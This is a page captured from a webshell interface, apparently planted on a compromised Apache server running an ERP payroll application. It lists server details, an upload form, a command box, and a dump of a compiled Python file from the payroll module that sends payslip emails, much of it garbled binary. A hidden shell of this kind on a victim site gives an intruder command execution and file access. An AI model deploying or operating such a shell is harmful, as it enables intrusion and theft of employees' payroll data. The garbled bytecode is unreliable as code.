403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/payroll/threadings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/payroll/threadings/__pycache__/mail.cpython-310.pyc
o

hͦh5
�@s~dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZe�e�ZGd
d�de�ZdS)z9
mail.py

This module is used handle mail sent in thread
�N)�Thread)�EmailMessage)�render_to_string)�ConfiguredEmailBackend)�EmployeeWorkInformation)�Payslip)�payslip_pdfcs*eZdZdZdd�Zd�fdd�Z�ZS)	�MailSendThreadz
    MailSend
    cCsBt�|�||_||_||_|��|_|��rd|_dSd|_dS)N�https�http)	r�__init__�result_dict�ids�request�get_host�host�	is_secure�protocol)�selfrr
r�r�'/var/www/erp/payroll/threadings/mail.pyrs

zMailSendThread.__init__�returnNcsZt���t|j���D]�}td||j|jd��}g}|dD]}t|j	|j
�}|�|���d�|j
df�q|ddj}t�}|j}|j	rdz|j	jj���d|j	jjj�d�}Wn	t�t�Ytd	|dd���d
�|||��g|gd�}	||	_d|	_z|	��tjj |j!d
�j"dd�Wqty�}
zt�#|
�WYd}
~
qd}
~
wwdS)Nz#payroll/mail_templates/default.html)�recordrr�	instancesz.pdfzapplication/pdfrz <�>zHello, z Your Payslips is Ready!)�reply_to�html)�id__inT)�sent_to_employee)$�super�run�listr
�valuesrrrrr�id�append�get_payslip_title�content�employee_idr�$dynamic_from_email_with_display_name�user�employee_get�
get_full_name�email�logger�error�	Exceptionr�get_name�get_mail�attachments�content_subtype�sendr�objects�filterr�update�	exception)rr�html_messager2�instance�response�employee�
email_backend�display_email_namer,�e��	__class__rrr "sV
����&���zMailSendThread.run)rN)�__name__�
__module__�__qualname__�__doc__rr �
__classcell__rrr@rr	sr	)rE�logging�	threadingr�django.core.mailr�django.template.loaderr�
base.backendsr�employee.modelsr�payroll.models.modelsr�payroll.views.viewsr�	getLoggerrBr-r	rrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit